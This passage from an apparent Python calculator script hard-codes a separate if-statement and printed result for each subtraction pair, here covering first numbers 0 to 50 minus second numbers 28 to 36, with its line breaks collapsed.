print("16 - 28 = -12") if firstNum == 17 and sign == "-" and secondNum == 28 : print("17 - 28 = -11") if firstNum == 18 and sign == "-" and secondNum == 28 : print("18 - 28 = -10") if firstNum == 19 and sign == "-" and secondNum == 28 : print("19 - 28 = -9") if firstNum == 20 and sign == "-" and secondNum == 28 : print("20 - 28 = -8") if firstNum == 21 and sign == "-" and secondNum == 28 : print("21 - 28 = -7") if firstNum == 22 and sign == "-" and secondNum == 28 : print("22 - 28 = -6") if firstNum == 23 and sign == "-" and secondNum == 28 : print("23 - 28 = -5") if firstNum == 24 and sign == "-" and secondNum == 28 : print("24 - 28 = -4") if firstNum == 25 and sign == "-" and secondNum == 28 : print("25 - 28 = -3") if firstNum == 26 and sign == "-" and secondNum == 28 : print("26 - 28 = -2") if firstNum == 27 and sign == "-" and secondNum == 28 : print("27 - 28 = -1") if firstNum == 28 and sign == "-" and secondNum == 28 : print("28 - 28 = 0") if firstNum == 29 and sign == "-" and secondNum == 28 : print("29 - 28 = 1") if firstNum == 30 and sign == "-" and secondNum == 28 : print("30 - 28 = 2") if firstNum == 31 and sign == "-" and secondNum == 28 : print("31 - 28 = 3") if firstNum == 32 and sign == "-" and secondNum == 28 : print("32 - 28 = 4") if firstNum == 33 and sign == "-" and secondNum == 28 : print("33 - 28 = 5") if firstNum == 34 and sign == "-" and secondNum == 28 : print("34 - 28 = 6") if firstNum == 35 and sign == "-" and secondNum == 28 : print("35 - 28 = 7") if firstNum == 36 and sign == "-" and secondNum == 28 : print("36 - 28 = 8") if firstNum == 37 and sign == "-" and secondNum == 28 : print("37 - 28 = 9") if firstNum == 38 and sign == "-" and secondNum == 28 : print("38 - 28 = 10") if firstNum == 39 and sign == "-" and secondNum == 28 : print("39 - 28 = 11") if firstNum == 40 and sign == "-" and secondNum == 28 : print("40 - 28 = 12") if firstNum == 41 and sign == "-" and secondNum == 28 : print("41 - 28 = 13") if firstNum == 42 and sign == "-" and secondNum == 28 : print("42 - 28 = 14") if firstNum == 43 and sign == "-" and secondNum == 28 : print("43 - 28 = 15") if firstNum == 44 and sign == "-" and secondNum == 28 : print("44 - 28 = 16") if firstNum == 45 and sign == "-" and secondNum == 28 : print("45 - 28 = 17") if firstNum == 46 and sign == "-" and secondNum == 28 : print("46 - 28 = 18") if firstNum == 47 and sign == "-" and secondNum == 28 : print("47 - 28 = 19") if firstNum == 48 and sign == "-" and secondNum == 28 : print("48 - 28 = 20") if firstNum == 49 and sign == "-" and secondNum == 28 : print("49 - 28 = 21") if firstNum == 50 and sign == "-" and secondNum == 28 : print("50 - 28 = 22") if firstNum == 0 and sign == "-" and secondNum == 29 : print("0 - 29 = -29") if firstNum == 1 and sign == "-" and secondNum == 29 : print("1 - 29 = -28") if firstNum == 2 and sign == "-" and secondNum == 29 : print("2 - 29 = -27") if firstNum == 3 and sign == "-" and secondNum == 29 : print("3 - 29 = -26") if firstNum == 4 and sign == "-" and secondNum == 29 : print("4 - 29 = -25") if firstNum == 5 and sign == "-" and secondNum == 29 : print("5 - 29 = -24") if firstNum == 6 and sign == "-" and secondNum == 29 : print("6 - 29 = -23") if firstNum == 7 and sign == "-" and secondNum == 29 : print("7 - 29 = -22") if firstNum == 8 and sign == "-" and secondNum == 29 : print("8 - 29 = -21") if firstNum == 9 and sign == "-" and secondNum == 29 : print("9 - 29 = -20") if firstNum == 10 and sign == "-" and secondNum == 29 : print("10 - 29 = -19") if firstNum == 11 and sign == "-" and secondNum == 29 : print("11 - 29 = -18") if firstNum == 12 and sign == "-" and secondNum == 29 : print("12 - 29 = -17") if firstNum == 13 and sign == "-" and secondNum == 29 : print("13 - 29 = -16") if firstNum == 14 and sign == "-" and secondNum == 29 : print("14 - 29 = -15") if firstNum == 15 and sign == "-" and secondNum == 29 : print("15 - 29 = -14") if firstNum == 16 and sign == "-" and secondNum == 29 : print("16 - 29 = -13") if firstNum == 17 and sign == "-" and secondNum == 29 : print("17 - 29 = -12") if firstNum == 18 and sign == "-" and secondNum == 29 : print("18 - 29 = -11") if firstNum == 19 and sign == "-" and secondNum == 29 : print("19 - 29 = -10") if firstNum == 20 and sign == "-" and secondNum == 29 : print("20 - 29 = -9") if firstNum == 21 and sign == "-" and secondNum == 29 : print("21 - 29 = -8") if firstNum == 22 and sign == "-" and secondNum == 29 : print("22 - 29 = -7") if firstNum == 23 and sign == "-" and secondNum == 29 : print("23 - 29 = -6") if firstNum == 24 and sign == "-" and secondNum == 29 : print("24 - 29 = -5") if firstNum == 25 and sign == "-" and secondNum == 29 : print("25 - 29 = -4") if firstNum == 26 and sign == "-" and secondNum == 29 : print("26 - 29 = -3") if firstNum == 27 and sign == "-" and secondNum == 29 : print("27 - 29 = -2") if firstNum == 28 and sign == "-" and secondNum == 29 : print("28 - 29 = -1") if firstNum == 29 and sign == "-" and secondNum == 29 : print("29 - 29 = 0") if firstNum == 30 and sign == "-" and secondNum == 29 : print("30 - 29 = 1") if firstNum == 31 and sign == "-" and secondNum == 29 : print("31 - 29 = 2") if firstNum == 32 and sign == "-" and secondNum == 29 : print("32 - 29 = 3") if firstNum == 33 and sign == "-" and secondNum == 29 : print("33 - 29 = 4") if firstNum == 34 and sign == "-" and secondNum == 29 : print("34 - 29 = 5") if firstNum == 35 and sign == "-" and secondNum == 29 : print("35 - 29 = 6") if firstNum == 36 and sign == "-" and secondNum == 29 : print("36 - 29 = 7") if firstNum == 37 and sign == "-" and secondNum == 29 : print("37 - 29 = 8") if firstNum == 38 and sign == "-" and secondNum == 29 : print("38 - 29 = 9") if firstNum == 39 and sign == "-" and secondNum == 29 : print("39 - 29 = 10") if firstNum == 40 and sign == "-" and secondNum == 29 : print("40 - 29 = 11") if firstNum == 41 and sign == "-" and secondNum == 29 : print("41 - 29 = 12") if firstNum == 42 and sign == "-" and secondNum == 29 : print("42 - 29 = 13") if firstNum == 43 and sign == "-" and secondNum == 29 : print("43 - 29 = 14") if firstNum == 44 and sign == "-" and secondNum == 29 : print("44 - 29 = 15") if firstNum == 45 and sign == "-" and secondNum == 29 : print("45 - 29 = 16") if firstNum == 46 and sign == "-" and secondNum == 29 : print("46 - 29 = 17") if firstNum == 47 and sign == "-" and secondNum == 29 : print("47 - 29 = 18") if firstNum == 48 and sign == "-" and secondNum == 29 : print("48 - 29 = 19") if firstNum == 49 and sign == "-" and secondNum == 29 : print("49 - 29 = 20") if firstNum == 50 and sign == "-" and secondNum == 29 : print("50 - 29 = 21") if firstNum == 0 and sign == "-" and secondNum == 30 : print("0 - 30 = -30") if firstNum == 1 and sign == "-" and secondNum == 30 : print("1 - 30 = -29") if firstNum == 2 and sign == "-" and secondNum == 30 : print("2 - 30 = -28") if firstNum == 3 and sign == "-" and secondNum == 30 : print("3 - 30 = -27") if firstNum == 4 and sign == "-" and secondNum == 30 : print("4 - 30 = -26") if firstNum == 5 and sign == "-" and secondNum == 30 : print("5 - 30 = -25") if firstNum == 6 and sign == "-" and secondNum == 30 : print("6 - 30 = -24") if firstNum == 7 and sign == "-" and secondNum == 30 : print("7 - 30 = -23") if firstNum == 8 and sign == "-" and secondNum == 30 : print("8 - 30 = -22") if firstNum == 9 and sign == "-" and secondNum == 30 : print("9 - 30 = -21") if firstNum == 10 and sign == "-" and secondNum == 30 : print("10 - 30 = -20") if firstNum == 11 and sign == "-" and secondNum == 30 : print("11 - 30 = -19") if firstNum == 12 and sign == "-" and secondNum == 30 : print("12 - 30 = -18") if firstNum == 13 and sign == "-" and secondNum == 30 : print("13 - 30 = -17") if firstNum == 14 and sign == "-" and secondNum == 30 : print("14 - 30 = -16") if firstNum == 15 and sign == "-" and secondNum == 30 : print("15 - 30 = -15") if firstNum == 16 and sign == "-" and secondNum == 30 : print("16 - 30 = -14") if firstNum == 17 and sign == "-" and secondNum == 30 : print("17 - 30 = -13") if firstNum == 18 and sign == "-" and secondNum == 30 : print("18 - 30 = -12") if firstNum == 19 and sign == "-" and secondNum == 30 : print("19 - 30 = -11") if firstNum == 20 and sign == "-" and secondNum == 30 : print("20 - 30 = -10") if firstNum == 21 and sign == "-" and secondNum == 30 : print("21 - 30 = -9") if firstNum == 22 and sign == "-" and secondNum == 30 : print("22 - 30 = -8") if firstNum == 23 and sign == "-" and secondNum == 30 : print("23 - 30 = -7") if firstNum == 24 and sign == "-" and secondNum == 30 : print("24 - 30 = -6") if firstNum == 25 and sign == "-" and secondNum == 30 : print("25 - 30 = -5") if firstNum == 26 and sign == "-" and secondNum == 30 : print("26 - 30 = -4") if firstNum == 27 and sign == "-" and secondNum == 30 : print("27 - 30 = -3") if firstNum == 28 and sign == "-" and secondNum == 30 : print("28 - 30 = -2") if firstNum == 29 and sign == "-" and secondNum == 30 : print("29 - 30 = -1") if firstNum == 30 and sign == "-" and secondNum == 30 : print("30 - 30 = 0") if firstNum == 31 and sign == "-" and secondNum == 30 : print("31 - 30 = 1") if firstNum == 32 and sign == "-" and secondNum == 30 : print("32 - 30 = 2") if firstNum == 33 and sign == "-" and secondNum == 30 : print("33 - 30 = 3") if firstNum == 34 and sign == "-" and secondNum == 30 : print("34 - 30 = 4") if firstNum == 35 and sign == "-" and secondNum == 30 : print("35 - 30 = 5") if firstNum == 36 and sign == "-" and secondNum == 30 : print("36 - 30 = 6") if firstNum == 37 and sign == "-" and secondNum == 30 : print("37 - 30 = 7") if firstNum == 38 and sign == "-" and secondNum == 30 : print("38 - 30 = 8") if firstNum == 39 and sign == "-" and secondNum == 30 : print("39 - 30 = 9") if firstNum == 40 and sign == "-" and secondNum == 30 : print("40 - 30 = 10") if firstNum == 41 and sign == "-" and secondNum == 30 : print("41 - 30 = 11") if firstNum == 42 and sign == "-" and secondNum == 30 : print("42 - 30 = 12") if firstNum == 43 and sign == "-" and secondNum == 30 : print("43 - 30 = 13") if firstNum == 44 and sign == "-" and secondNum == 30 : print("44 - 30 = 14") if firstNum == 45 and sign == "-" and secondNum == 30 : print("45 - 30 = 15") if firstNum == 46 and sign == "-" and secondNum == 30 : print("46 - 30 = 16") if firstNum == 47 and sign == "-" and secondNum == 30 : print("47 - 30 = 17") if firstNum == 48 and sign == "-" and secondNum == 30 : print("48 - 30 = 18") if firstNum == 49 and sign == "-" and secondNum == 30 : print("49 - 30 = 19") if firstNum == 50 and sign == "-" and secondNum == 30 : print("50 - 30 = 20") if firstNum == 0 and sign == "-" and secondNum == 31 : print("0 - 31 = -31") if firstNum == 1 and sign == "-" and secondNum == 31 : print("1 - 31 = -30") if firstNum == 2 and sign == "-" and secondNum == 31 : print("2 - 31 = -29") if firstNum == 3 and sign == "-" and secondNum == 31 : print("3 - 31 = -28") if firstNum == 4 and sign == "-" and secondNum == 31 : print("4 - 31 = -27") if firstNum == 5 and sign == "-" and secondNum == 31 : print("5 - 31 = -26") if firstNum == 6 and sign == "-" and secondNum == 31 : print("6 - 31 = -25") if firstNum == 7 and sign == "-" and secondNum == 31 : print("7 - 31 = -24") if firstNum == 8 and sign == "-" and secondNum == 31 : print("8 - 31 = -23") if firstNum == 9 and sign == "-" and secondNum == 31 : print("9 - 31 = -22") if firstNum == 10 and sign == "-" and secondNum == 31 : print("10 - 31 = -21") if firstNum == 11 and sign == "-" and secondNum == 31 : print("11 - 31 = -20") if firstNum == 12 and sign == "-" and secondNum == 31 : print("12 - 31 = -19") if firstNum == 13 and sign == "-" and secondNum == 31 : print("13 - 31 = -18") if firstNum == 14 and sign == "-" and secondNum == 31 : print("14 - 31 = -17") if firstNum == 15 and sign == "-" and secondNum == 31 : print("15 - 31 = -16") if firstNum == 16 and sign == "-" and secondNum == 31 : print("16 - 31 = -15") if firstNum == 17 and sign == "-" and secondNum == 31 : print("17 - 31 = -14") if firstNum == 18 and sign == "-" and secondNum == 31 : print("18 - 31 = -13") if firstNum == 19 and sign == "-" and secondNum == 31 : print("19 - 31 = -12") if firstNum == 20 and sign == "-" and secondNum == 31 : print("20 - 31 = -11") if firstNum == 21 and sign == "-" and secondNum == 31 : print("21 - 31 = -10") if firstNum == 22 and sign == "-" and secondNum == 31 : print("22 - 31 = -9") if firstNum == 23 and sign == "-" and secondNum == 31 : print("23 - 31 = -8") if firstNum == 24 and sign == "-" and secondNum == 31 : print("24 - 31 = -7") if firstNum == 25 and sign == "-" and secondNum == 31 : print("25 - 31 = -6") if firstNum == 26 and sign == "-" and secondNum == 31 : print("26 - 31 = -5") if firstNum == 27 and sign == "-" and secondNum == 31 : print("27 - 31 = -4") if firstNum == 28 and sign == "-" and secondNum == 31 : print("28 - 31 = -3") if firstNum == 29 and sign == "-" and secondNum == 31 : print("29 - 31 = -2") if firstNum == 30 and sign == "-" and secondNum == 31 : print("30 - 31 = -1") if firstNum == 31 and sign == "-" and secondNum == 31 : print("31 - 31 = 0") if firstNum == 32 and sign == "-" and secondNum == 31 : print("32 - 31 = 1") if firstNum == 33 and sign == "-" and secondNum == 31 : print("33 - 31 = 2") if firstNum == 34 and sign == "-" and secondNum == 31 : print("34 - 31 = 3") if firstNum == 35 and sign == "-" and secondNum == 31 : print("35 - 31 = 4") if firstNum == 36 and sign == "-" and secondNum == 31 : print("36 - 31 = 5") if firstNum == 37 and sign == "-" and secondNum == 31 : print("37 - 31 = 6") if firstNum == 38 and sign == "-" and secondNum == 31 : print("38 - 31 = 7") if firstNum == 39 and sign == "-" and secondNum == 31 : print("39 - 31 = 8") if firstNum == 40 and sign == "-" and secondNum == 31 : print("40 - 31 = 9") if firstNum == 41 and sign == "-" and secondNum == 31 : print("41 - 31 = 10") if firstNum == 42 and sign == "-" and secondNum == 31 : print("42 - 31 = 11") if firstNum == 43 and sign == "-" and secondNum == 31 : print("43 - 31 = 12") if firstNum == 44 and sign == "-" and secondNum == 31 : print("44 - 31 = 13") if firstNum == 45 and sign == "-" and secondNum == 31 : print("45 - 31 = 14") if firstNum == 46 and sign == "-" and secondNum == 31 : print("46 - 31 = 15") if firstNum == 47 and sign == "-" and secondNum == 31 : print("47 - 31 = 16") if firstNum == 48 and sign == "-" and secondNum == 31 : print("48 - 31 = 17") if firstNum == 49 and sign == "-" and secondNum == 31 : print("49 - 31 = 18") if firstNum == 50 and sign == "-" and secondNum == 31 : print("50 - 31 = 19") if firstNum == 0 and sign == "-" and secondNum == 32 : print("0 - 32 = -32") if firstNum == 1 and sign == "-" and secondNum == 32 : print("1 - 32 = -31") if firstNum == 2 and sign == "-" and secondNum == 32 : print("2 - 32 = -30") if firstNum == 3 and sign == "-" and secondNum == 32 : print("3 - 32 = -29") if firstNum == 4 and sign == "-" and secondNum == 32 : print("4 - 32 = -28") if firstNum == 5 and sign == "-" and secondNum == 32 : print("5 - 32 = -27") if firstNum == 6 and sign == "-" and secondNum == 32 : print("6 - 32 = -26") if firstNum == 7 and sign == "-" and secondNum == 32 : print("7 - 32 = -25") if firstNum == 8 and sign == "-" and secondNum == 32 : print("8 - 32 = -24") if firstNum == 9 and sign == "-" and secondNum == 32 : print("9 - 32 = -23") if firstNum == 10 and sign == "-" and secondNum == 32 : print("10 - 32 = -22") if firstNum == 11 and sign == "-" and secondNum == 32 : print("11 - 32 = -21") if firstNum == 12 and sign == "-" and secondNum == 32 : print("12 - 32 = -20") if firstNum == 13 and sign == "-" and secondNum == 32 : print("13 - 32 = -19") if firstNum == 14 and sign == "-" and secondNum == 32 : print("14 - 32 = -18") if firstNum == 15 and sign == "-" and secondNum == 32 : print("15 - 32 = -17") if firstNum == 16 and sign == "-" and secondNum == 32 : print("16 - 32 = -16") if firstNum == 17 and sign == "-" and secondNum == 32 : print("17 - 32 = -15") if firstNum == 18 and sign == "-" and secondNum == 32 : print("18 - 32 = -14") if firstNum == 19 and sign == "-" and secondNum == 32 : print("19 - 32 = -13") if firstNum == 20 and sign == "-" and secondNum == 32 : print("20 - 32 = -12") if firstNum == 21 and sign == "-" and secondNum == 32 : print("21 - 32 = -11") if firstNum == 22 and sign == "-" and secondNum == 32 : print("22 - 32 = -10") if firstNum == 23 and sign == "-" and secondNum == 32 : print("23 - 32 = -9") if firstNum == 24 and sign == "-" and secondNum == 32 : print("24 - 32 = -8") if firstNum == 25 and sign == "-" and secondNum == 32 : print("25 - 32 = -7") if firstNum == 26 and sign == "-" and secondNum == 32 : print("26 - 32 = -6") if firstNum == 27 and sign == "-" and secondNum == 32 : print("27 - 32 = -5") if firstNum == 28 and sign == "-" and secondNum == 32 : print("28 - 32 = -4") if firstNum == 29 and sign == "-" and secondNum == 32 : print("29 - 32 = -3") if firstNum == 30 and sign == "-" and secondNum == 32 : print("30 - 32 = -2") if firstNum == 31 and sign == "-" and secondNum == 32 : print("31 - 32 = -1") if firstNum == 32 and sign == "-" and secondNum == 32 : print("32 - 32 = 0") if firstNum == 33 and sign == "-" and secondNum == 32 : print("33 - 32 = 1") if firstNum == 34 and sign == "-" and secondNum == 32 : print("34 - 32 = 2") if firstNum == 35 and sign == "-" and secondNum == 32 : print("35 - 32 = 3") if firstNum == 36 and sign == "-" and secondNum == 32 : print("36 - 32 = 4") if firstNum == 37 and sign == "-" and secondNum == 32 : print("37 - 32 = 5") if firstNum == 38 and sign == "-" and secondNum == 32 : print("38 - 32 = 6") if firstNum == 39 and sign == "-" and secondNum == 32 : print("39 - 32 = 7") if firstNum == 40 and sign == "-" and secondNum == 32 : print("40 - 32 = 8") if firstNum == 41 and sign == "-" and secondNum == 32 : print("41 - 32 = 9") if firstNum == 42 and sign == "-" and secondNum == 32 : print("42 - 32 = 10") if firstNum == 43 and sign == "-" and secondNum == 32 : print("43 - 32 = 11") if firstNum == 44 and sign == "-" and secondNum == 32 : print("44 - 32 = 12") if firstNum == 45 and sign == "-" and secondNum == 32 : print("45 - 32 = 13") if firstNum == 46 and sign == "-" and secondNum == 32 : print("46 - 32 = 14") if firstNum == 47 and sign == "-" and secondNum == 32 : print("47 - 32 = 15") if firstNum == 48 and sign == "-" and secondNum == 32 : print("48 - 32 = 16") if firstNum == 49 and sign == "-" and secondNum == 32 : print("49 - 32 = 17") if firstNum == 50 and sign == "-" and secondNum == 32 : print("50 - 32 = 18") if firstNum == 0 and sign == "-" and secondNum == 33 : print("0 - 33 = -33") if firstNum == 1 and sign == "-" and secondNum == 33 : print("1 - 33 = -32") if firstNum == 2 and sign == "-" and secondNum == 33 : print("2 - 33 = -31") if firstNum == 3 and sign == "-" and secondNum == 33 : print("3 - 33 = -30") if firstNum == 4 and sign == "-" and secondNum == 33 : print("4 - 33 = -29") if firstNum == 5 and sign == "-" and secondNum == 33 : print("5 - 33 = -28") if firstNum == 6 and sign == "-" and secondNum == 33 : print("6 - 33 = -27") if firstNum == 7 and sign == "-" and secondNum == 33 : print("7 - 33 = -26") if firstNum == 8 and sign == "-" and secondNum == 33 : print("8 - 33 = -25") if firstNum == 9 and sign == "-" and secondNum == 33 : print("9 - 33 = -24") if firstNum == 10 and sign == "-" and secondNum == 33 : print("10 - 33 = -23") if firstNum == 11 and sign == "-" and secondNum == 33 : print("11 - 33 = -22") if firstNum == 12 and sign == "-" and secondNum == 33 : print("12 - 33 = -21") if firstNum == 13 and sign == "-" and secondNum == 33 : print("13 - 33 = -20") if firstNum == 14 and sign == "-" and secondNum == 33 : print("14 - 33 = -19") if firstNum == 15 and sign == "-" and secondNum == 33 : print("15 - 33 = -18") if firstNum == 16 and sign == "-" and secondNum == 33 : print("16 - 33 = -17") if firstNum == 17 and sign == "-" and secondNum == 33 : print("17 - 33 = -16") if firstNum == 18 and sign == "-" and secondNum == 33 : print("18 - 33 = -15") if firstNum == 19 and sign == "-" and secondNum == 33 : print("19 - 33 = -14") if firstNum == 20 and sign == "-" and secondNum == 33 : print("20 - 33 = -13") if firstNum == 21 and sign == "-" and secondNum == 33 : print("21 - 33 = -12") if firstNum == 22 and sign == "-" and secondNum == 33 : print("22 - 33 = -11") if firstNum == 23 and sign == "-" and secondNum == 33 : print("23 - 33 = -10") if firstNum == 24 and sign == "-" and secondNum == 33 : print("24 - 33 = -9") if firstNum == 25 and sign == "-" and secondNum == 33 : print("25 - 33 = -8") if firstNum == 26 and sign == "-" and secondNum == 33 : print("26 - 33 = -7") if firstNum == 27 and sign == "-" and secondNum == 33 : print("27 - 33 = -6") if firstNum == 28 and sign == "-" and secondNum == 33 : print("28 - 33 = -5") if firstNum == 29 and sign == "-" and secondNum == 33 : print("29 - 33 = -4") if firstNum == 30 and sign == "-" and secondNum == 33 : print("30 - 33 = -3") if firstNum == 31 and sign == "-" and secondNum == 33 : print("31 - 33 = -2") if firstNum == 32 and sign == "-" and secondNum == 33 : print("32 - 33 = -1") if firstNum == 33 and sign == "-" and secondNum == 33 : print("33 - 33 = 0") if firstNum == 34 and sign == "-" and secondNum == 33 : print("34 - 33 = 1") if firstNum == 35 and sign == "-" and secondNum == 33 : print("35 - 33 = 2") if firstNum == 36 and sign == "-" and secondNum == 33 : print("36 - 33 = 3") if firstNum == 37 and sign == "-" and secondNum == 33 : print("37 - 33 = 4") if firstNum == 38 and sign == "-" and secondNum == 33 : print("38 - 33 = 5") if firstNum == 39 and sign == "-" and secondNum == 33 : print("39 - 33 = 6") if firstNum == 40 and sign == "-" and secondNum == 33 : print("40 - 33 = 7") if firstNum == 41 and sign == "-" and secondNum == 33 : print("41 - 33 = 8") if firstNum == 42 and sign == "-" and secondNum == 33 : print("42 - 33 = 9") if firstNum == 43 and sign == "-" and secondNum == 33 : print("43 - 33 = 10") if firstNum == 44 and sign == "-" and secondNum == 33 : print("44 - 33 = 11") if firstNum == 45 and sign == "-" and secondNum == 33 : print("45 - 33 = 12") if firstNum == 46 and sign == "-" and secondNum == 33 : print("46 - 33 = 13") if firstNum == 47 and sign == "-" and secondNum == 33 : print("47 - 33 = 14") if firstNum == 48 and sign == "-" and secondNum == 33 : print("48 - 33 = 15") if firstNum == 49 and sign == "-" and secondNum == 33 : print("49 - 33 = 16") if firstNum == 50 and sign == "-" and secondNum == 33 : print("50 - 33 = 17") if firstNum == 0 and sign == "-" and secondNum == 34 : print("0 - 34 = -34") if firstNum == 1 and sign == "-" and secondNum == 34 : print("1 - 34 = -33") if firstNum == 2 and sign == "-" and secondNum == 34 : print("2 - 34 = -32") if firstNum == 3 and sign == "-" and secondNum == 34 : print("3 - 34 = -31") if firstNum == 4 and sign == "-" and secondNum == 34 : print("4 - 34 = -30") if firstNum == 5 and sign == "-" and secondNum == 34 : print("5 - 34 = -29") if firstNum == 6 and sign == "-" and secondNum == 34 : print("6 - 34 = -28") if firstNum == 7 and sign == "-" and secondNum == 34 : print("7 - 34 = -27") if firstNum == 8 and sign == "-" and secondNum == 34 : print("8 - 34 = -26") if firstNum == 9 and sign == "-" and secondNum == 34 : print("9 - 34 = -25") if firstNum == 10 and sign == "-" and secondNum == 34 : print("10 - 34 = -24") if firstNum == 11 and sign == "-" and secondNum == 34 : print("11 - 34 = -23") if firstNum == 12 and sign == "-" and secondNum == 34 : print("12 - 34 = -22") if firstNum == 13 and sign == "-" and secondNum == 34 : print("13 - 34 = -21") if firstNum == 14 and sign == "-" and secondNum == 34 : print("14 - 34 = -20") if firstNum == 15 and sign == "-" and secondNum == 34 : print("15 - 34 = -19") if firstNum == 16 and sign == "-" and secondNum == 34 : print("16 - 34 = -18") if firstNum == 17 and sign == "-" and secondNum == 34 : print("17 - 34 = -17") if firstNum == 18 and sign == "-" and secondNum == 34 : print("18 - 34 = -16") if firstNum == 19 and sign == "-" and secondNum == 34 : print("19 - 34 = -15") if firstNum == 20 and sign == "-" and secondNum == 34 : print("20 - 34 = -14") if firstNum == 21 and sign == "-" and secondNum == 34 : print("21 - 34 = -13") if firstNum == 22 and sign == "-" and secondNum == 34 : print("22 - 34 = -12") if firstNum == 23 and sign == "-" and secondNum == 34 : print("23 - 34 = -11") if firstNum == 24 and sign == "-" and secondNum == 34 : print("24 - 34 = -10") if firstNum == 25 and sign == "-" and secondNum == 34 : print("25 - 34 = -9") if firstNum == 26 and sign == "-" and secondNum == 34 : print("26 - 34 = -8") if firstNum == 27 and sign == "-" and secondNum == 34 : print("27 - 34 = -7") if firstNum == 28 and sign == "-" and secondNum == 34 : print("28 - 34 = -6") if firstNum == 29 and sign == "-" and secondNum == 34 : print("29 - 34 = -5") if firstNum == 30 and sign == "-" and secondNum == 34 : print("30 - 34 = -4") if firstNum == 31 and sign == "-" and secondNum == 34 : print("31 - 34 = -3") if firstNum == 32 and sign == "-" and secondNum == 34 : print("32 - 34 = -2") if firstNum == 33 and sign == "-" and secondNum == 34 : print("33 - 34 = -1") if firstNum == 34 and sign == "-" and secondNum == 34 : print("34 - 34 = 0") if firstNum == 35 and sign == "-" and secondNum == 34 : print("35 - 34 = 1") if firstNum == 36 and sign == "-" and secondNum == 34 : print("36 - 34 = 2") if firstNum == 37 and sign == "-" and secondNum == 34 : print("37 - 34 = 3") if firstNum == 38 and sign == "-" and secondNum == 34 : print("38 - 34 = 4") if firstNum == 39 and sign == "-" and secondNum == 34 : print("39 - 34 = 5") if firstNum == 40 and sign == "-" and secondNum == 34 : print("40 - 34 = 6") if firstNum == 41 and sign == "-" and secondNum == 34 : print("41 - 34 = 7") if firstNum == 42 and sign == "-" and secondNum == 34 : print("42 - 34 = 8") if firstNum == 43 and sign == "-" and secondNum == 34 : print("43 - 34 = 9") if firstNum == 44 and sign == "-" and secondNum == 34 : print("44 - 34 = 10") if firstNum == 45 and sign == "-" and secondNum == 34 : print("45 - 34 = 11") if firstNum == 46 and sign == "-" and secondNum == 34 : print("46 - 34 = 12") if firstNum == 47 and sign == "-" and secondNum == 34 : print("47 - 34 = 13") if firstNum == 48 and sign == "-" and secondNum == 34 : print("48 - 34 = 14") if firstNum == 49 and sign == "-" and secondNum == 34 : print("49 - 34 = 15") if firstNum == 50 and sign == "-" and secondNum == 34 : print("50 - 34 = 16") if firstNum == 0 and sign == "-" and secondNum == 35 : print("0 - 35 = -35") if firstNum == 1 and sign == "-" and secondNum == 35 : print("1 - 35 = -34") if firstNum == 2 and sign == "-" and secondNum == 35 : print("2 - 35 = -33") if firstNum == 3 and sign == "-" and secondNum == 35 : print("3 - 35 = -32") if firstNum == 4 and sign == "-" and secondNum == 35 : print("4 - 35 = -31") if firstNum == 5 and sign == "-" and secondNum == 35 : print("5 - 35 = -30") if firstNum == 6 and sign == "-" and secondNum == 35 : print("6 - 35 = -29") if firstNum == 7 and sign == "-" and secondNum == 35 : print("7 - 35 = -28") if firstNum == 8 and sign == "-" and secondNum == 35 : print("8 - 35 = -27") if firstNum == 9 and sign == "-" and secondNum == 35 : print("9 - 35 = -26") if firstNum == 10 and sign == "-" and secondNum == 35 : print("10 - 35 = -25") if firstNum == 11 and sign == "-" and secondNum == 35 : print("11 - 35 = -24") if firstNum == 12 and sign == "-" and secondNum == 35 : print("12 - 35 = -23") if firstNum == 13 and sign == "-" and secondNum == 35 : print("13 - 35 = -22") if firstNum == 14 and sign == "-" and secondNum == 35 : print("14 - 35 = -21") if firstNum == 15 and sign == "-" and secondNum == 35 : print("15 - 35 = -20") if firstNum == 16 and sign == "-" and secondNum == 35 : print("16 - 35 = -19") if firstNum == 17 and sign == "-" and secondNum == 35 : print("17 - 35 = -18") if firstNum == 18 and sign == "-" and secondNum == 35 : print("18 - 35 = -17") if firstNum == 19 and sign == "-" and secondNum == 35 : print("19 - 35 = -16") if firstNum == 20 and sign == "-" and secondNum == 35 : print("20 - 35 = -15") if firstNum == 21 and sign == "-" and secondNum == 35 : print("21 - 35 = -14") if firstNum == 22 and sign == "-" and secondNum == 35 : print("22 - 35 = -13") if firstNum == 23 and sign == "-" and secondNum == 35 : print("23 - 35 = -12") if firstNum == 24 and sign == "-" and secondNum == 35 : print("24 - 35 = -11") if firstNum == 25 and sign == "-" and secondNum == 35 : print("25 - 35 = -10") if firstNum == 26 and sign == "-" and secondNum == 35 : print("26 - 35 = -9") if firstNum == 27 and sign == "-" and secondNum == 35 : print("27 - 35 = -8") if firstNum == 28 and sign == "-" and secondNum == 35 : print("28 - 35 = -7") if firstNum == 29 and sign == "-" and secondNum == 35 : print("29 - 35 = -6") if firstNum == 30 and sign == "-" and secondNum == 35 : print("30 - 35 = -5") if firstNum == 31 and sign == "-" and secondNum == 35 : print("31 - 35 = -4") if firstNum == 32 and sign == "-" and secondNum == 35 : print("32 - 35 = -3") if firstNum == 33 and sign == "-" and secondNum == 35 : print("33 - 35 = -2") if firstNum == 34 and sign == "-" and secondNum == 35 : print("34 - 35 = -1") if firstNum == 35 and sign == "-" and secondNum == 35 : print("35 - 35 = 0") if firstNum == 36 and sign == "-" and secondNum == 35 : print("36 - 35 = 1") if firstNum == 37 and sign == "-" and secondNum == 35 : print("37 - 35 = 2") if firstNum == 38 and sign == "-" and secondNum == 35 : print("38 - 35 = 3") if firstNum == 39 and sign == "-" and secondNum == 35 : print("39 - 35 = 4") if firstNum == 40 and sign == "-" and secondNum == 35 : print("40 - 35 = 5") if firstNum == 41 and sign == "-" and secondNum == 35 : print("41 - 35 = 6") if firstNum == 42 and sign == "-" and secondNum == 35 : print("42 - 35 = 7") if firstNum == 43 and sign == "-" and secondNum == 35 : print("43 - 35 = 8") if firstNum == 44 and sign == "-" and secondNum == 35 : print("44 - 35 = 9") if firstNum == 45 and sign == "-" and secondNum == 35 : print("45 - 35 = 10") if firstNum == 46 and sign == "-" and secondNum == 35 : print("46 - 35 = 11") if firstNum == 47 and sign == "-" and secondNum == 35 : print("47 - 35 = 12") if firstNum == 48 and sign == "-" and secondNum == 35 : print("48 - 35 = 13") if firstNum == 49 and sign == "-" and secondNum == 35 : print("49 - 35 = 14") if firstNum == 50 and sign == "-" and secondNum == 35 : print("50 - 35 = 15") if firstNum == 0 and sign == "-" and secondNum == 36 : print("0 - 36 = -36") if firstNum == 1 and sign == "-" and secondNum == 36 : print("1 - 36 = -35") if firstNum == 2 and sign == "-" and secondNum == 36 : print("2 - 36 = -34") if firstNum == 3 and sign == 